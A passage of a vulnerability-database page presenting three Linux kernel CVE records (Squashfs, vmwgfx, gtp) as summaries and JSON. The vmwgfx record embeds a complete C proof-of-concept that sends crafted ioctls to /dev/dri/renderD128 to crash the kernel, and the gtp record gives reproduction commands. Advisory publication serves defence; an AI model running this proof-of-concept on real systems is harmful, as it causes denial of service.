              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.30",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.8.*",
              "status": "unaffected",
              "version": "6.8.8",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.9",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.291",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.235",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.179",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.130",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.30",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.8.8",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9",
                  "versionStartIncluding": "2.6.29",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nSquashfs: check the inode number is not the invalid value of zero\n\nSyskiller has produced an out of bounds access in fill_meta_index().\n\nThat out of bounds access is ultimately caused because the inode\nhas an inode number with the invalid value of zero, which was not checked.\n\nThe reason this causes the out of bounds access is due to following\nsequence of events:\n\n1. Fill_meta_index() is called to allocate (via empty_meta_index())\n   and fill a metadata index.  It however suffers a data read error\n   and aborts, invalidating the newly returned empty metadata index.\n   It does this by setting the inode number of the index to zero,\n   which means unused (zero is not a valid inode number).\n\n2. When fill_meta_index() is subsequently called again on another\n   read operation, locate_meta_index() returns the previous index\n   because it matches the inode number of 0.  Because this index\n   has been returned it is expected to have been filled, and because\n   it hasn\u0027t been, an out of bounds access is performed.\n\nThis patch adds a sanity check which checks that the inode number\nis not zero when the inode is created and returns -EINVAL if it is.\n\n[phillip@squashfs.org.uk: whitespace fix]"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:08:07.235Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/32c114a58236fe67141634774559f21f1dc96fd7"
        },
        {
          "url": "https://git.kernel.org/stable/c/4a1b6f89825e267e156ccaeba3d235edcac77f94"
        },
        {
          "url": "https://git.kernel.org/stable/c/cf46f88b92cfc0e32bd8a21ba1273cff13b8745f"
        },
        {
          "url": "https://git.kernel.org/stable/c/5b99dea79650b50909c50aba24fbae00f203f013"
        },
        {
          "url": "https://git.kernel.org/stable/c/be383effaee3d89034f0828038f95065b518772e"
        },
        {
          "url": "https://git.kernel.org/stable/c/7def00ebc9f2d6a581ddf46ce4541f84a10680e5"
        },
        {
          "url": "https://git.kernel.org/stable/c/9253c54e01b6505d348afbc02abaa4d9f8a01395"
        }
      ],
      "title": "Squashfs: check the inode number is not the invalid value of zero",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-26982",
    "datePublished": "2024-05-01T05:27:11.032Z",
    "dateReserved": "2024-02-19T14:20:24.204Z",
    "dateUpdated": "2026-05-12T11:50:59.992Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2022-38096 (GCVE-0-2022-38096)

Vulnerability from cvelistv5 – Published: 2022-09-09 14:39 – Updated: 2026-05-12 10:12

Title

There is a NULL pointer vulnerability in vmwgfx driver

Summary

A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file '/dev/dri/renderD128 (or Dxxx)'. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS).

Severity ?

6.3 (Medium)


                        
                          CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H

CWE

CWE-476 - NULL Pointer Dereference

Assigner

Anolis

References

2 references

URL	Tags
https://bugzilla.openanolis.cn/show_bug.cgi?id=2073
https://lists.debian.org/debian-lts-announce/2024…	mailing-list

Impacted products

1 product

Vendor	Product	Version
Linux	kernel	Affected: v4.20-rc1 , < 5.13.0-52* (custom)

Date Public ?

2022-09-06 00:00

Credits

Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "affected": [
          {
            "cpes": [
              "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*"
            ],
            "defaultStatus": "unknown",
            "product": "linux_kernel",
            "vendor": "linux",
            "versions": [
              {
                "lessThan": "5.14",
                "status": "affected",
                "version": "v4.20-rc1",
                "versionType": "custom"
              }
            ]
          }
        ],
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2022-38096",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-06-26T13:45:25.191519Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-06-26T13:49:29.690Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2024-08-03T10:45:52.802Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
          },
          {
            "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
            "tags": [
              "mailing-list",
              "x_transferred"
            ],
            "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T10:12:29.908Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "kernel",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "5.13.0-52*",
              "status": "affected",
              "version": "v4.20-rc1",
              "versionType": "custom"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "value": "Ziming Zhang(ezrakiez@gmail.com) from Ant Group Light-Year Security Lab"
        }
      ],
      "datePublic": "2022-09-06T00:00:00.000Z",
      "descriptions": [
        {
          "lang": "en",
          "value": "A NULL pointer dereference vulnerability was found in vmwgfx driver in drivers/gpu/vmxgfx/vmxgfx_execbuf.c in GPU component of Linux kernel with device file \u0027/dev/dri/renderD128 (or Dxxx)\u0027. This flaw allows a local attacker with a user account on the system to gain privilege, causing a denial of service(DoS)."
        }
      ],
      "exploits": [
        {
          "lang": "en",
          "value": "#include \u003cstdio.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cerrno.h\u003e\n\n#include \u003clinux/if_tun.h\u003e\n#include \u003cnet/if.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003csys/stat.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/socket.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003csys/types.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cnetinet/ip.h\u003e\n#include \u003csys/resource.h\u003e\n#include \u003csys/syscall.h\u003e\n#include \u003climits.h\u003e\n#include \u003csys/mman.h\u003e\n\n#include \u003clinux/fs.h\u003e\nint fd = 0;\ntypedef struct mixer\n{\n\tint index;\n\tint fd;\n\tchar *msg;\n}mixer_t;\n\nstruct drm_vmw_surface_create_req {\n\t__u32 flags;\n\t__u32 format;\n\t__u32 mip_levels[6];\n\t__u64 size_addr;\n\t__s32 shareable;\n\t__s32 scanout;\n};\nstruct drm_vmw_execbuf_arg {\n\t__u64 commands;\n\t__u32 command_size;\n\t__u32 throttle_us;\n\t__u64 fence_rep;\n\t__u32 version;\n\t__u32 flags;\n\t__u32 context_handle;\n\t__s32 imported_fence_fd;\n};\nvoid init(){\nif ((fd = open(\"/dev/dri/renderD128\", O_RDWR)) == -1)\n                {\n                        printf(\"open tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n       \n}\nvoid poc(int sid){  \nint cmd[0x1000]={0};\ncmd[0]=1165;\ncmd[1]=0x50;\ncmd[2]=0x0;\ncmd[3]=0x0;\ncmd[4]=-1;\nstruct drm_vmw_execbuf_arg arg={0};\n\targ.commands=cmd;\n\targ.command_size=0x100;\n\targ.version=2;  \n\targ.context_handle=sid;\n                if (ioctl(fd, 0x4028644C, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n\n}\nint alloc_context(){\n\nint arg[0x10]={0};\narg[0]=0;\narg[1]=0x100;\n\nif (ioctl(fd, 0x80086447, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[0];         \n}\n\nint alloc_bo(){\n\nint arg[0x10]={0};\narg[0]=0x10000;\nif (ioctl(fd, 0xC0186441, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\n   return arg[2];         \n}\n\nint create_surface(){\nint buf[0x100]={0};\nbuf[0]=64;\nbuf[1]=64;\nbuf[2]=64;\n\nstruct drm_vmw_surface_create_req arg={0};\narg.flags=0;\narg.format=2;\narg.mip_levels[0]=1;\narg.size_addr=buf;\narg.shareable=0;\narg.scanout=0x10;\n\nif (ioctl(fd, 0xC0306449, \u0026arg) == -1)\n                {\n                        printf(\"ioctl tun failed: %s\\n\", strerror(errno));\n                        return -1;\n                }\nreturn arg.flags;\n}\nint main(int ac, char **argv)\n{\ninit();\nint cid=alloc_context();  \n  printf(\"%d\",cid);     \n    poc(cid);            \n  \n}"
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 6.3,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "REQUIRED",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-476",
              "description": "CWE-476 NULL Pointer Dereference",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2024-06-25T21:08:05.642Z",
        "orgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
        "shortName": "Anolis"
      },
      "references": [
        {
          "url": "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
        },
        {
          "name": "[debian-lts-announce] 20240625 [SECURITY] [DLA 3842-1] linux-5.10 security update",
          "tags": [
            "mailing-list"
          ],
          "url": "https://lists.debian.org/debian-lts-announce/2024/06/msg00017.html"
        }
      ],
      "source": {
        "defect": [
          "https://bugzilla.openanolis.cn/show_bug.cgi?id=2073"
        ],
        "discovery": "INTERNAL"
      },
      "title": "There is a NULL pointer vulnerability in vmwgfx driver",
      "x_generator": {
        "engine": "Vulnogram 0.0.9"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "cb8f1db9-b4b1-487b-a760-f65c4f368d8e",
    "assignerShortName": "Anolis",
    "cveId": "CVE-2022-38096",
    "datePublished": "2022-09-09T14:39:51.163Z",
    "dateReserved": "2022-09-07T00:00:00.000Z",
    "dateUpdated": "2026-05-12T10:12:29.908Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2025-21678 (GCVE-0-2025-21678)

Vulnerability from cvelistv5 – Published: 2025-01-31 11:25 – Updated: 2026-05-12 12:03

Title

gtp: Destroy device along with udp socket's netns dismantle.

Summary

In the Linux kernel, the following vulnerability has been resolved: gtp: Destroy device along with udp socket's netns dismantle. gtp_newlink() links the device to a list in dev_net(dev) instead of src_net, where a udp tunnel socket is created. Even when src_net is removed, the device stays alive on dev_net(dev). Then, removing src_net triggers the splat below. [0] In this example, gtp0 is created in ns2, and the udp socket is created in ns1. ip netns add ns1 ip netns add ns2 ip -n ns1 link add netns ns2 name gtp0 type gtp role sgsn ip netns del ns1 Let's link the device to the socket's netns instead. Now, gtp_net_exit_batch_rtnl() needs another netdev iteration to remove all gtp devices in the netns. [0]: ref_tracker: net notrefcnt@000000003d6e7d05 has 1/2 users at sk_alloc (./include/net/net_namespace.h:345 net/core/sock.c:2236) inet_create (net/ipv4/af_inet.c:326 net/ipv4/af_inet.c:252) __sock_create (net/socket.c:1558) udp_sock_create4 (net/ipv4/udp_tunnel_core.c:18) gtp_create_sock (./include/net/udp_tunnel.h:59 drivers/net/gtp.c:1423) gtp_create_sockets (drivers/net/gtp.c:1447) gtp_newlink (drivers/net/gtp.c:1507) rtnl_newlink (net/core/rtnetlink.c:3786 net/core/rtnetlink.c:3897 net/core/rtnetlink.c:4012) rtnetlink_rcv_msg (net/core/rtnetlink.c:6922) netlink_rcv_skb (net/netlink/af_netlink.c:2542) netlink_unicast (net/netlink/af_netlink.c:1321 net/netlink/af_netlink.c:1347) netlink_sendmsg (net/netlink/af_netlink.c:1891) ____sys_sendmsg (net/socket.c:711 net/socket.c:726 net/socket.c:2583) ___sys_sendmsg (net/socket.c:2639) __sys_sendmsg (net/socket.c:2669) do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83) WARNING: CPU: 1 PID: 60 at lib/ref_tracker.c:179 ref_tracker_dir_exit (lib/ref_tracker.c:179) Modules linked in: CPU: 1 UID: 0 PID: 60 Comm: kworker/u16:2 Not tainted 6.13.0-rc5-00147-g4c1224501e9d #5 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014 Workqueue: netns cleanup_net RIP: 0010:ref_tracker_dir_exit (lib/ref_tracker.c:179) Code: 00 00 00 fc ff df 4d 8b 26 49 bd 00 01 00 00 00 00 ad de 4c 39 f5 0f 85 df 00 00 00 48 8b 74 24 08 48 89 df e8 a5 cc 12 02 90 <0f> 0b 90 48 8d 6b 44 be 04 00 00 00 48 89 ef e8 80 de 67 ff 48 89 RSP: 0018:ff11000009a07b60 EFLAGS: 00010286 RAX: 0000000000002bd3 RBX: ff1100000f4e1aa0 RCX: 1ffffffff0e40ac6 RDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffffff8423ee3c RBP: ff1100000f4e1af0 R08: 0000000000000001 R09: fffffbfff0e395ae R10: 0000000000000001 R11: 0000000000036001 R12: ff1100000f4e1af0 R13: dead000000000100 R14: ff1100000f4e1af0 R15: dffffc0000000000 FS: 0000000000000000(0000) GS:ff1100006ce80000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 00007f9b2464bd98 CR3: 0000000005286005 CR4: 0000000000771ef0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: <TASK> ? __warn (kernel/panic.c:748) ? ref_tracker_dir_exit (lib/ref_tracker.c:179) ? report_bug (lib/bug.c:201 lib/bug.c:219) ? handle_bug (arch/x86/kernel/traps.c:285) ? exc_invalid_op (arch/x86/kernel/traps.c:309 (discriminator 1)) ? asm_exc_invalid_op (./arch/x86/include/asm/idtentry.h:621) ? _raw_spin_unlock_irqrestore (./arch/x86/include/asm/irqflags.h:42 ./arch/x86/include/asm/irqflags.h:97 ./arch/x86/include/asm/irqflags.h:155 ./include/linux/spinlock_api_smp.h:151 kernel/locking/spinlock.c:194) ? ref_tracker_dir_exit (lib/ref_tracker.c:179) ? __pfx_ref_tracker_dir_exit (lib/ref_tracker.c:158) ? kfree (mm/slub.c:4613 mm/slub.c:4761) net_free (net/core/net_namespace.c:476 net/core/net_namespace.c:467) cleanup_net (net/core/net_namespace.c:664 (discriminator 3)) process_one_work (kernel/workqueue.c:3229) worker_thread (kernel/workqueue.c:3304 kernel/workqueue.c:3391 ---truncated---

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/c986380c1d5274c4d…
https://git.kernel.org/stable/c/5f1678346109ff3a6…
https://git.kernel.org/stable/c/036f8d814a2cd11ee…
https://git.kernel.org/stable/c/efec287cbac92ac6e…
https://git.kernel.org/stable/c/bb11f992f5a475bc6…
https://git.kernel.org/stable/c/86f73d4ab2f27deef…
https://git.kernel.org/stable/c/eb28fd76c0a08a47b…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 459aa660eb1d8ce67080da1983bb81d716aa5a69 , < c986380c1d5274c4d5e935addc807d6791cc23eb (git) Affected: 459aa660eb1d8ce67080da1983bb81d716aa5a69 , < 5f1678346109ff3a6d229d33437fcba3cce9209d (git) Affected: 459aa660eb1d8ce67080da1983bb81d716aa5a69 , < 036f8d814a2cd11ee8ef62b8f3e7ce5dec0ee4f3 (git) Affected: 459aa660eb1d8ce67080da1983bb81d716aa5a69 , < efec287cbac92ac6ee8312a89221854760e13b34 (git) Affected: 459aa660eb1d8ce67080da1983bb81d716aa5a69 , < bb11f992f5a475bc68ef959f17a55306f0328495 (git) Affected: 459aa660eb1d8ce67080da1983bb81d716aa5a69 , < 86f73d4ab2f27deeff22ba9336ad103d94f12ac7 (git) Affected: 459aa660eb1d8ce67080da1983bb81d716aa5a69 , < eb28fd76c0a08a47b470677c6cef9dd1c60e92d1 (git)
Linux	Linux	Affected: 4.7 Unaffected: 0 , < 4.7 (semver) Unaffected: 5.4.290 , ≤ 5.4.* (semver) Unaffected: 5.10.234 , ≤ 5.10.* (semver) Unaffected: 5.15.177 , ≤ 5.15.* (semver) Unaffected: 6.1.127 , ≤ 6.1.* (semver) Unaffected: 6.6.74 , ≤ 6.6.* (semver) Unaffected: 6.12.11 , ≤ 6.12.* (semver) Unaffected: 6.13 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T20:58:55.888Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - BIOS",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T12:03:10.577Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-503939.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/gtp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "c986380c1d5274c4d5e935addc807d6791cc23eb",
              "status": "affected",
              "version": "459aa660eb1d8ce67080da1983bb81d716aa5a69",
              "versionType": "git"
            },
            {
              "lessThan": "5f1678346109ff3a6d229d33437fcba3cce9209d",
              "status": "affected",
              "version": "459aa660eb1d8ce67080da1983bb81d716aa5a69",
              "versionType": "git"
            },
            {
              "lessThan": "036f8d814a2cd11ee8ef62b8f3e7ce5dec0ee4f3",
              "status": "affected",
              "version": "459aa660eb1d8ce67080da1983bb81d716aa5a69",
              "versionType": "git"
            },
            {
              "lessThan": "efec287cbac92ac6ee8312a89221854760e13b34",
              "status": "affected",
              "version": "459aa660eb1d8ce67080da1983bb81d716aa5a69",
              "versionType": "git"
            },
            {
              "lessThan": "bb11f992f5a475bc68ef959f17a55306f0328495",
              "status": "affected",
              "version": "459aa660eb1d8ce67080da1983bb81d716aa5a69",
              "versionType": "git"
            },
            {
              "lessThan": "86f73d4ab2f27deeff22ba9336ad103d94f12ac7",
              "status": "affected",
              "version": "459aa660eb1d8ce67080da1983bb81d716aa5a69",
              "versionType": "git"
            },
            {
              "lessThan": "eb28fd76c0a08a47b470677c6cef9dd1c60e92d1",
              "status": "affected",
              "version": "459aa660eb1d8ce67080da1983bb81d716aa5a69",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "drivers/net/gtp.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "4.7"
            },
            {
              "lessThan": "4.7",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.290",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.234",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.177",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.127",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.74",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.12.*",
              "status": "unaffected",
              "version": "6.12.11",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.13",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.290",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.234",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.177",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.127",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.74",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12.11",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.13",
                  "versionStartIncluding": "4.7",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\ngtp: Destroy device along with udp socket\u0027s netns dismantle.\n\ngtp_newlink() links the device to a list in dev_net(dev) instead of\nsrc_net, where a udp tunnel socket is created.\n\nEven when src_net is removed, the device stays alive on dev_net(dev).\nThen, removing src_net triggers the splat below. [0]\n\nIn this example, gtp0 is created in ns2, and the udp socket is created\nin ns1.\n\n  ip netns add ns1\n  ip netns add ns2\n  ip -n ns1 link add netns ns2 name gtp0 type gtp role sgsn\n  ip netns del ns1\n\nLet\u0027s link the device to the socket\u0027s netns instead.\n\nNow, gtp_net_exit_batch_rtnl() needs another netdev iteration to remove\nall gtp devices in the netns.\n\n[0]:\nref_tracker: net notrefcnt@000000003d6e7d05 has 1/2 users at\n     sk_alloc (./include/net/net_namespace.h:345 net/core/sock.c:2236)\n     inet_create (net/ipv4/af_inet.c:326 net/ipv4/af_inet.c:252)\n     __sock_create (net/socket.c:1558)\n     udp_sock_create4 (net/ipv4/udp_tunnel_core.c:18)\n     gtp_create_sock (./include/net/udp_tunnel.h:59 drivers/net/gtp.c:1423)\n     gtp_create_sockets (drivers/net/gtp.c:1447)\n     gtp_newlink (drivers/net/gtp.c:1507)\n     rtnl_newlink (net/core/rtnetlink.c:3786 net/core/rtnetlink.c:3897 net/core/rtnetlink.c:4012)\n     rtnetlink_rcv_msg (net/core/rtnetlink.c:6922)\n     netlink_rcv_skb (net/netlink/af_netlink.c:2542)\n     netlink_unicast (net/netlink/af_netlink.c:1321 net/netlink/af_netlink.c:1347)\n     netlink_sendmsg (net/netlink/af_netlink.c:1891)\n     ____sys_sendmsg (net/socket.c:711 net/socket.c:726 net/socket.c:2583)\n     ___sys_sendmsg (net/socket.c:2639)\n     __sys_sendmsg (net/socket.c:2669)\n     do_syscall_64 (arch/x86/entry/common.c:52 arch/x86/entry/common.c:83)\n\nWARNING: CPU: 1 PID: 60 at lib/ref_tracker.c:179 ref_tracker_dir_exit (lib/ref_tracker.c:179)\nModules linked in:\nCPU: 1 UID: 0 PID: 60 Comm: kworker/u16:2 Not tainted 6.13.0-rc5-00147-g4c1224501e9d #5\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.16.0-0-gd239552ce722-prebuilt.qemu.org 04/01/2014\nWorkqueue: netns cleanup_net\nRIP: 0010:ref_tracker_dir_exit (lib/ref_tracker.c:179)\nCode: 00 00 00 fc ff df 4d 8b 26 49 bd 00 01 00 00 00 00 ad de 4c 39 f5 0f 85 df 00 00 00 48 8b 74 24 08 48 89 df e8 a5 cc 12 02 90 \u003c0f\u003e 0b 90 48 8d 6b 44 be 04 00 00 00 48 89 ef e8 80 de 67 ff 48 89\nRSP: 0018:ff11000009a07b60 EFLAGS: 00010286\nRAX: 0000000000002bd3 RBX: ff1100000f4e1aa0 RCX: 1ffffffff0e40ac6\nRDX: 0000000000000000 RSI: 0000000000000000 RDI: ffffffff8423ee3c\nRBP: ff1100000f4e1af0 R08: 0000000000000001 R09: fffffbfff0e395ae\nR10: 0000000000000001 R11: 0000000000036001 R12: ff1100000f4e1af0\nR13: dead000000000100 R14: ff1100000f4e1af0 R15: dffffc0000000000\nFS:  0000000000000000(0000) GS:ff1100006ce80000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: 00007f9b2464bd98 CR3: 0000000005286005 CR4: 0000000000771ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe07f0 DR7: 0000000000000400\nPKRU: 55555554\nCall Trace:\n \u003cTASK\u003e\n ? __warn (kernel/panic.c:748)\n ? ref_tracker_dir_exit (lib/ref_tracker.c:179)\n ? report_bug 